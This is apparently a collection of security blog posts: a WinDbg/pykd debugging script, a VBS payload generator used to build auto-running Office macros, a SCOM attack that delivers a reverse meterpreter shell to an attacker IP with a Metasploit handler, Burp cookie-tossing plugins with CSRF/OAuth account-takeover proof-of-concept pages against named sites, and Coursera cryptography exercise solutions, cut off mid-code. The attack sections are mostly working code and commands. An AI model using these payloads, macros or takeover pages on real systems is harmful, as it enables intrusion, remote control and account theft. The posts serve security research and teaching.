#!/usr/bin/python
import pykd
import socket
#pykd script to modify inet_addr calls to a supplied IP address

def getAddress(localAddr):
    res = pykd.dbgCommand("x " + localAddr)
    if res.count("\n") > 1:
        print "[-] Warning, more than one result for", localAddr
    return res.split()[0]

class handle_inet(pykd.eventHandler):
	def __init__(self):
		#pykd.eventHandler.__init__(self)
		self.localAddr = socket.gethostbyname(socket.gethostname())
		print "[+] Using ip address: " + self.localAddr

		bp_init = getAddress("WS2_32!inet_addr")
		self.bp_init = pykd.setBp(int(bp_init, 16), self.handle_inet_begin)
		self.bp_end = None
		pykd.go()

	def handle_inet_begin(self, args):
		print args
		print "[+] At start of inet_addr."
		ow_len = len(self.localAddr) + 1

		#just save our string below us on the stack. We'll restore it on return
		#ret_addr = pykd.dbgCommand("k1").split("\n")[1].split()[1] #k doesn't work in win7, wtf
		self.ret_addr = pykd.dbgCommand("dd esp L1").split()[1]

		print "[+] saving return ptr: " + self.ret_addr

		self.bp_end = pykd.setBp(int(self.ret_addr, 16), self.handle_inet_end)
		self.stack_addr = pykd.reg("esp") + 500

		print "[+] using this stack address to save our string: " + hex(self.stack_addr)

		self.old_stack = pykd.loadBytes(self.stack_addr, ow_len)
		print "[+] Writing over old stack stuff"
		pykd.dbgCommand("ea " + hex(self.stack_addr) + " \"" + self.localAddr + '"')
		#null terminate
		pykd.dbgCommand("eb " + hex(self.stack_addr) + "+" + hex(len(self.localAddr)) + " 00")

		#esp + 4 is the IP address parameter for inet_addr
		pykd.dbgCommand("ed esp+4 " + hex(self.stack_addr))

        #Since this is a conditional bp, this makes the debugger continue
		return False

	def handle_inet_end(self, bp):
		if self.bp_end == bp:
                        print "[+] Call complete"
			old_stack = " ".join([hex(i)[2:] for i in self.old_stack])
			pykd.dbgCommand("eb " + hex(self.stack_addr) + " " + old_stack)
			print "[+] Old stack stuff restored"
			self.bp_end = None
		#Since this is a conditional bp, this makes the debugger continue
		return False

d_handle = handle_inet()

If you know windbg basics and python, this should be really familiar – I have a tiny bit of python to grab the IP, and then inside the handlers I’m pretty much just running windbg commands sequentially. I ran this in the debugger itself. Here’s a side tip. You can run put commands in a textfile for them to run in windbg (similar to gdb’s -x arg). So you can do this to load this pykd script automatically.

> type windbg.txt
.load pykd.pyd
!py local_listen.py
> windbg -c "$$><windbg.txt" server1.exe

Capture

Another options would be to run this directly from the command line, which is also doable. Just use the pykd “attachProcess” or “startProcess” functions and go from there.

Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Free Stanford ‘Intro to Cryptography’ Class Review

Last Spring I took my first coursera class, Introduction to Cryptogaphy taught by Dan Boneh. In college I took a few crypto classes, and I also deal with some crypto problems at work and in CTF. Although I’m definitely not a crypto expert, I had a pretty good background going into the class. Looking at the syllabus, I expected to work through a few interesting problems, but I didn’t expect to get too much out of it.

The class certainly exceeded my expectations. Here are the obvious things: Dan knows crypto backward and forward, and is a great teacher. The format was great – I liked being able to rewind videos at pieces I didn’t understand at first. The forum was also great – other students would answer my questions (I answered a few for other people also), and Dan himself would regularly chime in with answers to tricky problems people ran into.

One of the biggest reasons I think the class was so good was its focus on offense. I don’t really understand how defensive security people can try to defend stuff without understanding offense… yet the crypto classes I’d taken before tried to do exactly that. How was I supposed to understand why things needed to be done a certain way if I don’t know how it can break? Crypto books have been the same way – every crypto book I’ve read before (e.g. Bruce Schneier books) don’t seem to give much page space to offense. Dan brings the attacker’s perspective into every lecture, and I have a much better understanding of practical cryptography because of it.

I did manage to finish the class, but it was a lot more difficult than I expected (a good difficult :)) They seem to offer this class regularly, and I couldn’t recommend it more to anyone interested in cryptography.

accomplishment

Here are excerpts of my favorite problems he gave us to solve, and my solution for those problems. If you’re planning on taking the full class – spoiler alert. These questions might also be interesting if you don’t want to take an entire class, but just want to try and solve some super cool crypto problems. One note is all of these problems were optional, which was a decision made early on because he didn’t want programming to be a prerequisite. These problems are not required to get a coveted statement of accomplishment.

Week 1 – Two Time Pad (Reusing Stream Cipher Keys)

Problem:

“Let us see what goes wrong when a stream cipher key is used more than once. Below are eleven hex-encoded ciphertexts that are the result of encrypting eleven plaintexts with a stream cipher, all with the same stream cipher key. Your goal is to decrypt the last ciphertext, and submit the secret message within it as solution. ” These ciphertexts are (sorry for the poor formatting, but you should be able to copy them out):

ciphers = [
"315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e",
"234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f",
"32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb",
"32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa",
"3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070",
"32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4",
"32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce",
"315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3",
"271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027",
"466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83",
"32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904"
]

Solution

The most important piece of this is to realize that XORing the ciphertexts together produces the xor of the plaintexts. Additionally, if you can guess at the next character for a given row, you can xor the ciphertext with what it should be to produce the key.

For example, if the ciphertext were 89 and the letter should be ‘e’, then

>>> hex(ord('e') ^ 0x89)

would equal the key. You can apply this key to all rows and when you get it wrong, everything looks wonky.

So to demonstrate, the first step is to get a foothold. I postulated 32510b was “the” because it was repeated several times at the beginning and ‘the’ is the most common trigram. Applying this as a key, everything looked correct (try another common one, like ‘and’, and it will look off). I went one key at a time from there, using the following program.

#!/usr/bin/python

import sys
from optparse import OptionParser


#ciphers = ... #found above

class twotimepad:
    
    def __init__(self):
        #based on what we know so far...
        self.keysofar = [0x46, 0x39, 0x6e]



    def get_freq(self, charArray):
        letterdict = {}
        for i in charArray:
            try:
                letterdict[i] += 1
            except KeyError:
                letterdict = 1
        return letterdict

    def print_mSoFar(self):
        c_sofar = [i[0:len(self.keysofar)*2] for i in ciphers]
        for i in range(0,11):
            sys.stdout.write(str(i) + ".\t")
            for j in range(0, len(self.keysofar)):
                a = self.keysofar[j];
                b = int(c_sofar[i][j*2:j*2+2], 16)
                sys.stdout.write(chr(self.keysofar[j] ^ int(c_sofar[i][j*2:j*2+2], 16)))
            print ""

    def getnextchar(self, i):        
        nextchar = ciphers[i]
        nextchar = nextchar[len(self.keysofar)*2:len(self.keysofar)*2+2]       
        return nextchar
        
    def print_next_letter(self):
        for i in range(0,11):
            print (str(i) + ":\t"+ self.getnextchar(i))

    def add_key(self, num, letter='a'):
        if num == -1:
            self.keysofar = self.keysofar[:-1]
        else:
            self.keysofar.append(ord(letter) ^ int(self.getnextchar(num), 16))
            
    def run(self):        
        while 1:
            print "Current KEY"
            print self.keysofar
            print ("\r\nStuff so Far")
            self.print_mSoFar()
            print "\r\nNext Letter"
            #self.print_next_letter()
            num = int(raw_input("\r\n\r\nEnter next number (-1 for mistake): "))
            letter = raw_input("Enter letter: ")
            self.add_key(num, letter)
    
m = twotimepad()
m.run()

This makes a program where you get a shell thing to eyeball one character at a time.

1a

The final key was the following:

Key = [70, 57, 110, 137, 201, 219, 216, 204, 152, 116, 53, 42, 205, 99, 149, 16, 46, 175, 206, 120, 170, 127, 237, 40, 160, 127, 107, 201, 141, 41, 197, 11, 105, 176, 51, 154, 25, 248, 170, 64, 26, 156, 109, 112, 143, 128, 192, 102, 199, 99, 254, 240, 18, 49, 72, 205, 216, 232, 2, 208, 91, 169, 135, 119, 51, 93, 174, 252, 236, 213, 156, 67, 58, 107, 38, 139, 96, 191, 78, 240, 60, 154, 97]

And the final secret message was:

the secret message is: When using a stream cipher, never use the key more than once

Week 1 – Breaking a Linear Congruential Generator

Problem:

The PRG described below uses a 56-bit secret seed. Running the program generates the following first nine outputs of the PRG:

output #1: 210205973
output #2: 22795300
output #3: 58776750
output #4: 121262470
output #5: 264731963
output #6: 140842553
output #7: 242590528
output #8: 195244728
output #9: 86752752

Show that this PRG is insecure by computing the next output. What is the next output (output #10) of the PRG? Note that you are not given the seed.

import random

P = 295075153L   # about 2^28

class WeakPrng(object):
    def __init__(self, p):   # generate seed with 56 bits of entropy
        self.p = p
        self.x = random.randint(0, p)
        self.y = random.randint(0, p)
   
    def next(self):
        # x_{i+1} = 2*x_{i}+5  (mod p)
        self.x = (2*self.x + 5) % self.p

        # y_{i+1} = 3*y_{i}+7 (mod p)
        self.y = (3*self.y + 7) % self.p

        # z_{i+1} = x_{i+1} xor y_{i+1}
        return (self.x ^ self.y) 


prng = WeakPrng(P)
for i in range(1, 10):
  print "output #%d: %d" % (i, prng.next())

Solution

This looks like a Linear Congruential generator. from wikipedia: The period of a general LCG is at most m, and for some choices of a much less than that. Provided that c is nonzero, the LCG will have a full period for all seed values if and only if:[2]

The most important piece is maybe that it’s linear. Realize the following algorithm will take only about 2^28 guesses, one for every x.

For each x[i]:
  calculate what y[i] has to be, given that x[i] ^ y[i] = output[i]
  see if x[i+1] ^ y[i+1] == output[i+1]. If so, iterate, and we have a match

The following C# program calculates this very quickly, on my machine about five seconds.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace linear_prng
{
    class Program
    {


        static void Main(string[] args)
        {
            const int MAX = 295075153;
            int[] seq = new int[] { 210205973, 22795300, 58776750, 121262470, 264731963, 140842553, 242590528 };


            for (int x = 0; x < MAX; x++)
            {
                int x_temp = x;
                for (int i=0; i < seq.Length-1; i++)
                {
                    
                    int y = x_temp ^ seq[i];
                    int x_next = (2 * x_temp + 5) % MAX;
                    int y_next = (3 * y + 7) % MAX;
                    if (seq[i + 1] == (x_next ^ y_next))
                    {
                        System.Console.WriteLine("{0}: Sol x {1} {2}", i, x_temp, y);
                        x_temp = x_next;
                        y = y_next;
                    }
                    else
                    {
                        break;
                    }
                }
            }
            System.Console.ReadLine();
            
        }
    }
}

Plug the output into the original python program in place of the random x and y, and calculate the next number, which is: 231886864

Week 2 – Insecurity of a Two Round Feistel

Problem

Recall that the Luby-Rackoff theorem discussed in Lecture 3.2 states that applying a three round Feistel network to a secure PRF gives a secure block cipher. Let’s see what goes wrong if we only use a two round Feistel. Let F:K×{0,1}32→{0,1}32 be a secure PRF. Recall that a 2-round Feistel defines the following PRP F2:K2×{0,1}64→{0,1}64:

Feistel

Here R0 is the right 32 bits of the 64-bit input and L0 is the left 32 bits.

One of the following lines is the output of this PRP F2 using a random key, while the other three are the output of a truly random permutation f:{0,1}64→{0,1}64. All 64-bit outputs are encoded as 16 hex characters. Can you say which is the output of the PRP? Note that since you are able to distinguish the output of F2 from random, F2 is not a secure block cipher, which is what we wanted to show.

Hint: First argue that there is a detectable pattern in the xor of F2(⋅,064) and F2(⋅,132032). Then try to detect this pattern in the given outputs.

Then it gives some sample inputs and outputs

On input 0^64 the output is “2d1cfa42 c0b1d266″. On input 1^32 0^32 the output is “eea6e3dd b2146dd0″.
On input 064 the output is “7c2822eb fdc48bfb”. On input 132032 the output is “325032a9 c5e2364b”.
On input 064 the output is “290b6e3a 39155d6f”. On input 132032 the output is “d6f491c5 b645c008″.
On input 064 the output is “9d1a4f78 cb28d863″. On input 132032 the output is “75e5e3ea 773ec3e6″.

Solution

In the first round 0 is xored with the F(k1) and in the second 1 is xored with F(k1) so just looking at the first block, xor that with one and it should give us the first block of the second

This simple program does that xor

import sys

a = sys.argv[1].decode("hex")
for i in a:
sys.stdout.write("{0:02x} ".format(ord(i)^0xff))

print ""

Week 3 – Hash Collision

Problem

In this assignment your task is to find hash function collisions using the birthday attack discussed in the lecture.

Consider the hash function obtained by truncating the output of SHA256 to 50 bits, say H(x)=LSB50(SHA256(x)), that is we drop all but the right most 50 bits of the output. Your goal is to find a collision on this hash function. Find two strings x≠y such that LSB50(SHA256(x))=LSB50(SHA256(y)) and then enter the hex encoding of these strings in the fields below.

For an implementation of SHA256 use an existing crypto library such as PyCrypto (Python), Crypto++ (C++), or any other.

Solution

This code takes a few minutes, but it eventually finds a collision.



using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Data.SqlServerCe;



namespace hash_collision
{
    class Program
    {
        //given a seed, returns the first 50 byte hash
        //woops, the assignment asks for the last
        static Int64 getTruncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            Array.Copy(result, truncatedresult, 8);
            //last byte only car about two most significant bits, do & 0xB0
            truncatedresult[6] = (byte)(truncatedresult[6] & 0xB0);
            truncatedresult[7] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }


        //given a seed, returns the last 50 byte hash
        static Int64 getEncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            //Array.Copy(result, 0, truncatedresult, 23, 8);
            Array.Copy(result, 24, truncatedresult, 0, 8);
            //last byte only care about two least significant bits, do & 0x03
            truncatedresult[1] = (byte)(truncatedresult[1] & 0x03);
            truncatedresult[0] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }

        static void printStuff(int val)
        {
            System.Console.Write("sha256(");
            byte[] seed = BitConverter.GetBytes(val);
            foreach (int i in seed)
            {
                System.Console.Write("{0:X2}", i); 
            }
            System.Console.Write(")\t");
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(seed);
            foreach (int i in result)
            {
                System.Console.Write("{0:X2}", i);
            }
            System.Console.Write("\r\n");
        }


        static void Main(string[] args)
        {

            for(int iter=0; iter<24; iter++)
            {
                Dictionary<Int64, int> mhash = new Dictionary<Int64, int>();

                //I'd much rather do 2^25, but .net throws an outofmemoryexception... too bad it's not config
                //something like Java -xMx2G, which would be nice.
                int scaler = (int)Math.Pow(2, 24);
                for (int i = scaler*iter; i < scaler*(iter+1); i++)
                {
                    Int64 fiftyhash = getEncatedHash(i);
